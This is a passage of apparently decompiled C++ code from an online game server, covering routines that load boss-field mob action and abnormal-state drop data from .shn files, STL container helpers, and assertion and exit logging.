[sp+28h] [bp-A8h]@1 unsigned int cookie; // [sp+BCh] [bp-14h]@18 int v19; // [sp+CCh] [bp-4h]@1 thisa = (std::_Tree,std::allocator,0> > *)this; _.fe_FunctionCode = "BossFieldContent::MobAutomaticActionList::maal_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAutomaticActionList::maal_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; CCharacterTitleData::CCharacterTitleData(&maa.baseclass_0); memset(&maa.bdb_defaultblock, 0, 0x50u); HIBYTE(maa.bdb_defaultblock.Range) = 0; LOBYTE(v19) = 1; BinaryDataBox::bdb_ReadData(&maa, "../9Data/Shine/MobAutoAction.shn"); v1 = maa.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2 = 0; *(_DWORD *)&k.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = 0; if ( (signed int)v1 > 0 ) { v3 = v1 > 0; do { if ( v3 ) v4 = CDataReader::GetRecord(&maa.baseclass_0.baseclass_0, v2); else v4 = &maa.bdb_defaultblock; key.maa_MobID = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v4); if ( key.maa_MobID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : Invalid mob in MobAutoAction", (const char *)v4); ShineExit("BossFieldContent::MobAutomaticActionList::maal_Load"); } v5 = MobDataBox::operator__(&mobdatabox, key.maa_MobID); if ( !*((_DWORD *)v4 + 8) ) v5->MobIndexFlag._bf0 |= 2u; v6 = *((_DWORD *)v4 + 10); key.maa_ActionType = *((_DWORD *)v4 + 10); if ( key.maa_ActionType != 1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : ActionType not defined", v6); ShineExit("BossFieldContent::MobAutomaticActionList::maal_Load"); } v7 = BTree::operator__(&unk_615CF4, (const char *)v4 + 44); if ( v7 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : Abstate not fount", (const char *)v4 + 44); ShineExit("FieldContainer::fc_AbstateInFieldLoad"); } v8 = *((_BYTE *)v4 + 76); v9 = *(_WORD *)((char *)v4 + 77); v10 = *(_WORD *)((char *)v4 + 79); v11 = *(_DWORD *)&k; key.maa_Abstate.Index = v7; key.maa_Abstate.Strength = v8; key.maa_Abstate.Rate = v9; key.maa_Abstate.Range = v10; std::_Tree_std::allocator_0>>::insert( thisa, &k, &key); v12 = maa.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2 = v11 + 1; v3 = v2 < v12; *(_DWORD *)&k.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; } while ( (signed int)v2 < (signed int)v12 ); } LOBYTE(v19) = 0; CCharacterTitleData::_CCharacterTitleData(&maa.baseclass_0); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_Load"); __security_check_cookie(cookie); } //----- (00554B00) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, int _Val) { std::vector > *v3; // esi@1 int *v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 int *v7; // eax@10 char *v8; // edx@11 int *v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (int *)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (00554B90) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Copy_backward_opt(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v4; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v5; // edi@2 StateDropType v6; // eax@3 BossFieldContent::MobAbstateCheckAtDead *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].macad_Type; --v4; --v5; v5->macad_Type = v6; std::vector>::operator_( &v5->macad_List, (int)&v4->macad_List); } while ( v4 != _First ); result = v5; } return result; } //----- (00554BD0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ABSTATEINDEX *_Val) { std::vector > *v2; // esi@1 ABSTATEINDEX *v3; // edx@1 signed int v4; // ecx@2 ABSTATEINDEX *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v2->_Mylast, 1u, (std::list,std::allocator > >::iterator *)_Val, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00554C40) -------------------------------------------------------- void __cdecl std::fill(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Val) { BossFieldContent::MobAbstateCheckAtDead *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->macad_Type = _Val->macad_Type; std::vector>::operator_( &i->macad_List, (int)&_Val->macad_List); } } //----- (00554C70) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Uninit_copy>(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 BossFieldContent::MobAbstateCheckAtDead *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->macad_Type = v6->macad_Type; std::vector>::vector>( &v5->macad_List, &v6->macad_List); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00554D20) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->sbbt_List.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->sbbt_List.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->sbbt_List.baseclass_0._Myhead); operator delete(v1->sbbt_List.baseclass_0._Myhead); v1->sbbt_List.baseclass_0._Myhead = 0; v1->sbbt_List.baseclass_0._Mysize = 0; } //----- (00554D50) -------------------------------------------------------- void __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_PushBack(BossFieldContent::MobAbstateCheckAtDead *this, ABSTATEINDEX idx, StateDropType dt) { BossFieldContent::MobAbstateCheckAtDead *v3; // esi@1 ABSTATEINDEX *v4; // ecx@1 ABSTATEINDEX *v5; // eax@1 bool v6; // zf@1 ABSTATEINDEX *v7; // ecx@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->macad_List._Mylast; v5 = v3->macad_List._Myfirst; v6 = v5 == v4; if ( v5 != v4 ) { do { if ( *v5 == idx ) break; ++v5; } while ( v5 != v4 ); v6 = v5 == v4; } if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Duplicate abstate", idx); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } v7 = v3->macad_List._Myfirst; if ( v7 && v3->macad_List._Mylast - v7 ) { if ( v3->macad_Type != dt ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack : DropType not same", v3->macad_Type == dt); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } if ( v3->macad_Type ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack : SDT_STA must be one", v3->macad_Type == 0); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } } else { v3->macad_Type = dt; } std::vector>::push_back(&v3->macad_List, &idx); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } //----- (00554EB0) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this) { BossFieldContent::MobAutomaticActionList *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->maal_Set.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->maal_Set.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->maal_Set.baseclass_0._Myhead); operator delete(v1->maal_Set.baseclass_0._Myhead); v1->maal_Set.baseclass_0._Myhead = 0; v1->maal_Set.baseclass_0._Mysize = 0; } //----- (00554EE0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(BossFieldContent::MobAbstateCheckAtDead *_First, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 BossFieldContent::MobAbstateCheckAtDead *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->macad_Type = _Val->macad_Type; std::vector>::vector>( &v5->macad_List, &_Val->macad_List); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00554F90) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->sbbt_List.baseclass_0); v1->sbbt_List.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->sbbt_List.baseclass_0._Myhead->_Parent = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Myhead->_Left = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Myhead->_Right = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Mysize = 0; v1->sbbt_NextTick = 0; } //----- (00554FC0) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this) { BossFieldContent::MobAutomaticActionList *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->maal_Set.baseclass_0); v1->maal_Set.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->maal_Set.baseclass_0._Myhead->_Parent = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Myhead->_Left = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Myhead->_Right = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Mysize = 0; } //----- (00554FF0) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__thiscall std::vector>::_Ufill(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Ptr, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00555020) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v4; // esi@1 StateDropType v5; // ecx@1 BossFieldContent::MobAbstateCheckAtDead *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 BossFieldContent::MobAbstateCheckAtDead *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 KQContribute::PlayerList *v19; // eax@23 BossFieldContent::MobAbstateCheckAtDead *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 BossFieldContent::MobAbstateCheckAtDead *v22; // ecx@27 BossFieldContent::MobAbstateCheckAtDead *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp-Ch] [bp-38h]@1 BossFieldContent::MobAbstateCheckAtDead _Tmp; // [sp+0h] [bp-2Ch]@1 void *_Newvec; // [sp+14h] [bp-18h]@21 std::vector > *thisa; // [sp+18h] [bp-14h]@1 int *v29; // [sp+1Ch] [bp-10h]@1 int v30; // [sp+28h] [bp-4h]@1 BossFieldContent::MobAbstateCheckAtDead *_Wherea; // [sp+34h] [bp+8h]@28 BossFieldContent::MobAbstateCheckAtDead *_Ptr; // [sp+38h] [bp+Ch]@21 int _Vala; // [sp+3Ch] [bp+10h]@21 BossFieldContent::MobAbstateCheckAtDead *_Valb; // [sp+3Ch] [bp+10h]@26 v4 = this; v5 = _Val->macad_Type; v29 = &v25; _Tmp.macad_Type = v5; thisa = (std::vector > *)v4; std::vector>::vector>( &_Tmp.macad_List, &_Val->macad_List); v6 = v4->_Myfirst; v7 = 0; v30 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( 214748364 - v10 < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(BossFieldContent::MobAbstateCheckAtDead **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(BossFieldContent::MobAbstateCheckAtDead **)&v21, (BossFieldContent::MobAbstateCheckAtDead *)(*(_DWORD *)&v21 + 20 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, v20, (BossFieldContent::MobAbstateCheckAtDead *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v30) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (BossFieldContent::MobAbstateCheckAtDead *)v24; v30 = 0; std::fill( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, (BossFieldContent::MobAbstateCheckAtDead *)(v24 - 20 * _Count), &_Tmp); } } else { if ( 214748364 - (v7 >> 1) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v30) = 1; _Ptr = std::_Uninit_copy>( v16, *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, (BossFieldContent::MobAbstateCheckAtDead *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = (KQContribute::PlayerList *)v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( (std::vector > *)v4, v19, (KQContribute::PlayerList *)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (BossFieldContent::MobAbstateCheckAtDead *)((char *)v15 + _Vala); v4->_Mylast = (BossFieldContent::MobAbstateCheckAtDead *)((char *)v15 + 20 * v18); v4->_Myfirst = (BossFieldContent::MobAbstateCheckAtDead *)v15; } } if ( _Tmp.macad_List._Myfirst ) operator delete(_Tmp.macad_List._Myfirst); } //----- (00555320) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v4; // edi@1 BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00555390) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v2; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 BossFieldContent::MobAbstateCheckAtDead *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00555420) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this) { this->lomscad_StructList._Myfirst = 0; this->lomscad_StructList._Mylast = 0; this->lomscad_StructList._Myend = 0; this->lomscad_IndexList._Myfirst = 0; this->lomscad_IndexList._Mylast = 0; this->lomscad_IndexList._Myend = 0; } //----- (00555460) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this) { BossFieldContent::ListOfMobStateCheckAtDead *v1; // esi@1 v1 = this; if ( this->lomscad_IndexList._Myfirst ) operator delete(this->lomscad_IndexList._Myfirst); v1->lomscad_IndexList._Myfirst = 0; v1->lomscad_IndexList._Mylast = 0; v1->lomscad_IndexList._Myend = 0; std::vector>::_Tidy((std::vector > *)v1); } //----- (00555490) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(BossFieldContent::ListOfMobStateCheckAtDead *this) { BossFieldContent::ListOfMobStateCheckAtDead *v1; // ebp@1 int v2; // eax@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 const char *v5; // edi@5 unsigned __int16 v6; // si@7 int *v7; // edi@10 int v8; // ecx@10 int v9; // esi@10 BossFieldContent::MobAbstateCheckAtDead *v10; // eax@11 signed int v11; // edx@13 AbnormalStateDictionary::AbState::AbStateStr *v12; // edi@15 void *a; // [sp+0h] [bp-B4h]@5 unsigned int k; // [sp+4h] [bp-B0h]@1 BossFieldContent::MobAbstateCheckAtDead _Val; // [sp+8h] [bp-ACh]@1 FunctionEntarance _; // [sp+1Ch] [bp-98h]@1 BinaryDataBox masds; // [sp+20h] [bp-94h]@1 unsigned int v18; // [sp+A4h] [bp-10h]@19 int v19; // [sp+B0h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; std::vector>::_Tidy((std::vector > *)v1); _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; LOBYTE(v19) = 1; std::vector>::push_back( &v1->lomscad_StructList, &_Val); LOBYTE(v19) = 0; v2 = MobDataBox::operator int(&mobdatabox); std::vector>::resize(&v1->lomscad_IndexList, v2, 0); CCharacterTitleData::CCharacterTitleData(&masds.baseclass_0); memset(&masds.bdb_defaultblock, 0, 0x44u); HIWORD(masds.bdb_defaultblock.DropType) = 0; masds.bdb_defaultblock.MaxCount = 0; LOBYTE(v19) = 2; BinaryDataBox::bdb_ReadData(&masds, "../9Data/Shine/MobAbStateDropSetting.shn"); v3 = masds.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; k = 0; if ( (signed int)v3 > 0 ) { while ( 1 ) { if ( v4 < v3 ) { a = CDataReader::GetRecord(&masds.baseclass_0.baseclass_0, v4); v5 = (const char *)a; } else { v5 = (const char *)&masds.bdb_defaultblock; a = &masds.bdb_defaultblock; } v6 = MobDataBox::mdb_2MobID(&mobdatabox, v5); if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Invalid mob", v5); ShineExit("BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); } v7 = v1->lomscad_IndexList._Myfirst; v8 = v6; v9 = v7[v8]; if ( !v9 ) { v10 = v1->lomscad_StructList._Myfirst; if ( v10 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v1->lomscad_StructList._Mylast - (char *)v10)) >> 32) >> 3; v9 = v11 + ((unsigned int)v11 >> 31); } else { v9 = 0; } v7[v8] = v9; _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; LOBYTE(v19) = 3; std::vector>::push_back( &v1->lomscad_StructList, &_Val); LOBYTE(v19) = 2; _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; } v12 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)a + 33); if ( v12 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Invalid abstate", (const char *)a + 33); ShineExit("BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); } BossFieldContent::MobAbstateCheckAtDead::macad_PushBack( &v1->lomscad_StructList._Myfirst[v9], v12->index->AbStataIndex, *(StateDropType *)((char *)a + 66)); v3 = masds.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++k; if ( (signed int)k >= (signed int)v3 ) break; v4 = k; } } LOBYTE(v19) = 0; CCharacterTitleData::_CCharacterTitleData(&masds.baseclass_0); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); __security_check_cookie(v18); } //----- (00555730) -------------------------------------------------------- void __thiscall AssertClass::ac_DateTime(AssertClass *this) { AssertClass *v1; // edi@1 AssertClass *timevar; // [sp+0h] [bp-4h]@1 timevar = this; v1 = this; time((int *)&timevar); localtime((const int *)&timevar); sprintf(v1->ac_Date, "%04d%02d%02d"); sprintf(v1->ac_Time, "%02d:%02d:%02d"); sprintf(v1->ac_FileName, "Assert%s%02d.txt"); } //----- (005557B0) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, const char *flag) { AssertClass *v3; // esi@1 _iobuf *v4; // eax@2 _iobuf *v5; // edi@2 v3 = this; AssertClass::ac_DateTime(this); if ( v3->ac_Write2File ) { v4 = fopen(v3->ac_FileName, "a"); v5 = v4; if ( v4 ) { fprintf(v4, "%s : AssertClass::ac_AssertFail : %s[%s]\n"); fclose(v5); } } } //----- (00555800) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag) { AssertClass *v3; // esi@1 _iobuf *v4; // eax@2 _iobuf *v5; // edi@2 v3 = this; AssertClass::ac_DateTime(this); if ( v3->ac_Write2File ) { v4 = fopen(v3->ac_FileName, "a"); v5 = v4; if ( v4 ) { fprintf(v4, "%s : AssertClass::ac_AssertFail : %s[%d]\n"); fclose(v5); } } } //----- (00555850) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag1, int flag2) { AssertClass *v4; // esi@1 _iobuf *v5; // edi@2 v4 = this; AssertClass::ac_DateTime(this); if ( v4->ac_Write2File ) { v5 = fopen(v4->ac_FileName, "a"); if ( v5 ) { fprintf(v5, "%s : AssertClass::ac_AssertFail : %s[%d/%d]\n"); fclose(v5); } } } //----- (005558B0) -------------------------------------------------------- void __cdecl ShineExit(char *where) { _iobuf *v1; // esi@1 int timevar; // [sp+4h] [bp-188h]@1 char curdate[128]; // [sp+8h] [bp-184h]@1 char filename[128]; // [sp+88h] [bp-104h]@1 char curtime[128]; // [sp+108h] [bp-84h]@1 time(&timevar); localtime(&timevar); sprintf(curdate, "%04d%02d%02d"); sprintf(curtime, "%02d:%02d:%02d"); sprintf(filename, "ExitLog%s%02d.txt"); v1 = fopen(filename, "a"); if ( v1 ) { fprintf(v1, "%s : AssertClass::ac_AssertFail : %s\n"); fclose(v1); } exit(0); } //----- (00555980) -------------------------------------------------------- void __thiscall BTree::BTree(BTree *this) { this->bt_id = -1; memset(this->bt_subtree, 0, sizeof(this->bt_subtree)); } //----- (005559A0) -------------------------------------------------------- void __thiscall BTree::_BTree(BTree *this) { BTree **v1; // edi@1 signed int v2; // ebx@1 void *v3; // esi@2 v1 = this->bt_subtree; v2 = 256; do { v3 = *v1; if ( *v1 ) { BTree::_BTree(*v1); operator delete(v3); } ++v1; --v2; } while ( v2 ); } //----- (005559D0) -------------------------------------------------------- int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id) { const char *v3; // esi@1 const char v4; // al@1 BTree *v5; // ebx@1 BTree *v6; // eax@2 void *v7; // eax@3 void *v8; // edx@3 int result; // eax@8 v3 = string; v4 = *string; v5 = this; if ( *string ) { while ( 1 ) { v6 = v5->bt_subtree[(unsigned __int8)v4]; if ( !v6 ) { v7 = operator new(0x404u); v8 = v7; if ( v7 ) { *(_DWORD *)v7 = 